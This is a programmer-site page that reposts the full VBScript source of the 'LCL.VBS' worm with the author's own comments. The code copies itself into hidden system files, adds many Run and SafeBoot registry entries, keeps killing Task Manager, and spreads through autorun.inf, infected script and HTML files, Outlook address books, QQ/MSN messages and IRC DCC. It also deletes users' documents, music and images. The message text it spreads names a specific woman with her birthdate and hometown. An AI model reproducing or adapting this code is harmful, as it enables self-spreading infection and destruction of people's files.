欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

LCL.VBS 病毒源代码

程序员文章站 2022-07-04 20:40:28
rem email:kouguoxi@hotmail.comrem some crack statement i remment,make it can't to runo...
rem email:kouguoxi@hotmail.com
rem some crack statement i remment,make it can't to run
on error resume next

dim title,text
title="can you help me find a person?"
text="her name is liu chun li."&chr(13)&chr(10)
text=text&"her birthday is 1981-01-23."&chr(13)&chr(10)
text=text&"her mother home is yuzhen.qixian.kaifeng.henan.china."&chr(13)&chr(10)
text=text&"i was died because by her,"&chr(13)&chr(10)
text=text&"i am demanding my life of you."&chr(13)&chr(10)

set fso = createobject("scripting"&"."&"filesystem"&"object")
self=fso.opentextfile(wscript.scriptfullname,1).readall 
set wshshell = wscript.createobject("wscript"&"."&"shell")
startup = wshshell.specialfolders("startup")
set dirwin = fso.getspecialfolder(0) 
set dirsystem = fso.getspecialfolder(1) 
set dirtemp = fso.getspecialfolder(2) 
set lcl=fso.getfile(wscript.scriptfullname) 
lcl.copy(dirwin&"\lcl.vbs") 
lcl.copy(dirsystem&"\lcl.vbs") 
fso.getfile(dirwin&"\lcl.vbs").attributes=7
fso.getfile(dirsystem&"\lcl.vbs").attributes=7

set sf0 = fso.getspecialfolder(0)
b = sf0.drive&"\lcl.txt"
set lcl = fso.createtextfile( b , true )
lcl.write text
fso.copyfile b, startup&"\lcl.txt"
lcl.close

dim lcl
set lcl = fso.createtextfile(wscript.scriptfullname, true)

function scode (n)
    dim x
    for x = 0 to 254
       if n = chr(x) then 
          scode = x
          exit function
       end if
    next
end function

rem 请教:用readline等方法,整行加密,保持文本格式不不变;和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (self)
    cc = mid (self,l,1)
    if l>99 and instr(self,"liu chun li")>0 then   
       cipher=chr (scode(cc)+9) rem 我开始用99,得到的全是ascll为0的数据
       else 
       cipher=chr(scode(cc))
    end if
    correy=correy&cipher
next

lcl.write correy
lcl.close

dim hk,hc,safe
hk="hkey_local_machine\software\microsoft\windows\currentversion\run"
hc="hkey_current_user\software\microsoft\windows\currentversion\run"
wshshell.regwrite "hkey_current_user\software\microsoft\windows scripting host\settings\timeout",0,"reg_dword" 
wshshell.regwrite hk&"\lcl",dirsystem&"\lcl.vbs" 
wshshell.regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs" 
wshshell.regwrite hk&"once\lcl",dirsystem&"\lcl.vbs" 
wshshell.regwrite hk&"onceex\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hk&"services\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"once\lcl",dirsystem&"\lcl.vbs"
wshshell.regwrite hc&"service\lcl",dirsystem&"\lcl.vbs"
safe="hkey_local_machine\system\currentcontrolset\control\safeboot\"
wshshell.regwrite safe&"minimal\lcl.vbs",dirsystem&"\lcl.vbs" 
wshshell.regwrite safe&"network\lcl.vbs",dirsystem&"\lcl.vbs"

do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.run "cmd /c taskkill /f /im tasklist.exe",0
loop

dim d
for each d in fso.drives
    if d.drivetype<>4 then 
       fso.copyfile b, d&"\lcl.txt"
       scan(d)
    end if
    if d.drivetype=1 and d.isready=true and formatnumber(d.freespace/1024, 0) > 99 then
          fso.copyfile wscript.scriptfullname,d&"\lcl.vbs"
          fso.getfile(wscript.scriptfullname).attributes=7
          set inf=fso.createtextfile(d&"\autorun.inf",true)
          fso.getfile(d&"\autorun.inf").attributes=7
          inf.writeline "[autorun]"  
          inf.writeline "open="  
          inf.writeline "shell\open=打开(&o)"  
          inf.writeline "shell\open\command=wscript.exe lclrun.vbs" 
          inf.writeline "shell\open\command=wscript.exe lcl.vbs"  
          inf.writeline "shell\open\default=1"  
          inf.writeline "shell\explore=资源管理器(&x)"  
          inf.writeline "shell\explore\command=wscript.exe lclrun.vbs" 
          inf.writeline "shell\explore\command=wscript.exe lcl.vbs" 
          inf.close  
          set ini=fso.createtextfile(d&"\desktop.ini",true)
          fso.getfile(d&"\desktop.ini").attributes=7
          ini.writeline "[.shellclassinfo]"  
          ini.writeline "clsid={645ff040-5081-101b-9f08-00aa002f954e}" 
          ini.close   
          set lclrun=fso.createtextfile(d&"\lclrun.vbs",true)
     fso.getfile(d&"\lclrun.vbs").attributes=7
     lclrun.writeline "on error goto 0"  
     lclrun.writeline "set fso=createobject("&chr(34)&"scripting.filesys"&chr(34)&"&"&chr(34)&"temobject"&chr(34)&")"  
     lclrun.writeline "ifor each d in fso.drives"  
     lclrun.writeline "if d.drivetype=1 and d.isready=true and formatnumber(d.freespace/1024, 0) > 99 then"  
     lclrun.writeline " fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "  
     lclrun.writeline "set wshshell = wscript.createobject("&chr(34)&"wscript.shell"&chr(34)&")"  
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
     lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
     lclrun.writeline "end if"  
     lclrun.writeline "next"
     lclrun.close  
       end if
next

dim wshnetwork,netdrives,net1,net2
set wshnetwork = wscript.createobject("wscript.network") 
set netdrives = wshnetwork.enumnetworkdrives 
if netdrives.count > 0 then
    for i = 0 to netdrives.count - 1 step 2 
    net1 = netdrives(i)
    net2 = netdrives(i + 1)
    scan (net1)
    scan (net2)
    next
end if

dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
set outlookapp = createobject("outlook.app"&"lication") 
if outlookapp= "outlook" or outlookapp = "outlook express" then
   set mapiobj=outlookapp.getnamespace("mapi") ''获取mapi的名字空间
   set addrlist= mapiobj.addresslists ''获取地址表的个数
   for each addr in addrlist
      if addr.addressentries.count <> 0 then
         addrentcount = addr.addressentries.count ''获取每个地址表的email记录数
         for addrentindex= 1 to addrentcount ''遍历地址表的email地址
             set item = outlookapp.createitem(0) ''获取一个邮件对象实例
             set addrent = addr.addressentries(addrentindex) ''获取具体email地址
             item.to = addrent.address 
             item.subject = title
             item.body = text 
             set attachments=item.attachments 
             attachments.add fso.getspecialfolder(0) & "\lcl.vbs"
             item.deleteaftersubmit = true ''信件提交后自动删除
             if item.to <> "" then 
             item.send 
             wshshell.regwrite "hkcu\software\mailtest\mailed", "1" 
             end if
          next
       end if
    next
end if

rem next from i love you.
set out=wscript.createobject("outlook.application") 
set mapi=out.getnamespace("mapi") 
for ctrlists=1 to mapi.addresslists.count 
    set a=mapi.addresslists(ctrlists) 
    x=1 
    regv=wshshell.regread("hkey_current_user\software\microsoft\wab\"&a) 
    if (regv="") then 
      regv=1 
    end if 
    if (int(a.addressentries.count)>int(regv)) then 
      for ctrentries=1 to a.addressentries.count 
          malead=a.addressentries(x) 
          regad="" 
          regad=wshshell.regread("hkey_current_user\software\microsoft\wab\"&malead) 
          if (regad="") then 
          set male=out.createitem(0) 
          male.recipients.add(malead) 
          male.subject = title
          male.body = text
          male.attachments.add(dirsystem&"lcl.vbs") 
          male.send 
          wshshell.regwrite "hkey_current_user\software\microsoft\wab\"&malead,1,"reg_dword" 
          end if 
          x=x+1 
      next 
      wshshell.regwrite "hkey_current_user\software\microsoft\wab\"&a,a.addressentries.count 
      else 
       wshshell.regwrite "hkey_current_user\software\microsoft\wab\"&a,a.addressentries.count 
    end if 
next 
set out=nothing 
set mapi=nothing 

set objoutlook = createobject("outlook.application")
if objoutlook = "outlook" then
set objnamespace = objoutlook.getnamespace("mapi")
set coladdresslists = objnamespace.addresslists
set onjnamespace = nothing
for each objitem in coladdresslists
   if objitem.addressentries.count <> 0 then
    intcountofaddresses = objitem.addressentries.count
    for i = 1 to intcountofaddresses
     set objmailmsg = objoutlook.createitem(0)
     set objdestaddress = objitem.addressentries(i)
     objmailmsg.to = objdestaddress.address
     objmailmsg.subject =   title
     objmailmsg.body =   text
     execute "set objsend =objmailmsg." & chr(65) & chr(116) & chr(116) & chr(97) & chr(99) & chr(104) & chr(109) & chr(101) & chr(110) & chr(116) & chr(115)
     strattach = strfilepathname
     objmailmsg.deleteaftersubmit = true
     objsend.add strattach
     if objmailmsg.to <> "" then
      objmailmsg.send
     end if
    next
   end if
next
set objoutlook = nothing
set objitem = nothing
set objmailmsg = nothing
set objdestaddress = nothing
end if

strcomputer = "."   
set wbemservices = getobject("winmgmts:\\" & strcomputer)
set wbemobjectset = wbemservices.instancesof("win32_process")
for each wbemobject in wbemobjectset
     if wbemobject.name="msn.exe" or wbemobject.name="qq.exe" then
      wshshell.appactivate wbemobject.name 
      wshshell.sendkeys "can you help me find a person?" 
      wshshell.sendkeys "^{enter}" ' or "^~"
      wscript.sleep 9000
      wshshell.sendkeys "her name is liu chun li" 
      wshshell.sendkeys "^{enter}"
      wscript.sleep 9000
      wshshell.sendkeys "her birthday is 1981-02-17." 
      wshshell.sendkeys "^{enter}"
      wscript.sleep 9000
      wshshell.sendkeys "her mother home is yuzhen.qixian.kaifeng.henan.china." 
      wshshell.sendkeys "^{enter}"
     end if
next

sub scan(folder)
on error goto 0
set fd=fso.getfolder(folder)
for each file in fd.files 
    self1=fso.opentextfile(file,1).readall
    ext=fso.getextensionname(file)           
    ext=lcase(ext)     
    if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then  
       if   instr ( self1 ,"liu chun li" ) < 0 then 
          set lcl=fso.opentextfile(file.path,8,true) 
          lcl.write chr(13)&chr(10)
          lcl.write self  
          lcl.write chr(13)&chr(10)                   
          lcl.close  
        end if                
    end if  
    if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then  
       if   instr ( self1 ,"liu chun li" ) < 0 then     
         set lcl=fso.opentextfile(file.path,8,true) 
         lcl.write "<"&"script language='vbscript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self   
         lcl.write "<"&"/script>" 
         lcl.write chr(13)&chr(10)              
         lcl.close
       end if
     end if
     rem or ext="mspx"
     if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then  
       if   instr ( self1 ,"liu chun li" ) < 0 then    
         set lcl=fso.opentextfile(file.path,8,true) 
         lcl.write "<"&"script language='vbscript'> "
         lcl.write chr(13)&chr(10)
         lcl.write self   
         lcl.write "<"&"/script>"   
         lcl.write chr(13)&chr(10)            
         lcl.close
       end if  
     end if
     if ext="ini" then  
       if not instr ( self1 ,"liu chun li" ) > 0 then 
         dim ini   
         set ini=fso.opentextfile(file.path,8,true) 
         ini.writeline chr(13)&chr(10)
         ini.writeline "[script]" 
         ini.writeline "n0=on 1:join:#:{" 
         ini.writeline "n1= /if ( $nick == $me ) { halt }" 
         ini.writeline "n2= /.dcc send $nick "&dirsystem&"\lcl.vbs" 
         rem ini.writeline "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "&dirsystem&"\lcl.vbs"}" 
         '利用命令/ddc send $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
         ini.writeline "n3=}" 
         ini.writeline ";liu chun li" 
         ini.close 
       end if  
     end if
    rem every 9 in the lunar calenda do it
    if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then  
       file.delete true 
    end if 
next
for each subfd in fd.subfolders         
    scan(subfd)
next 
end sub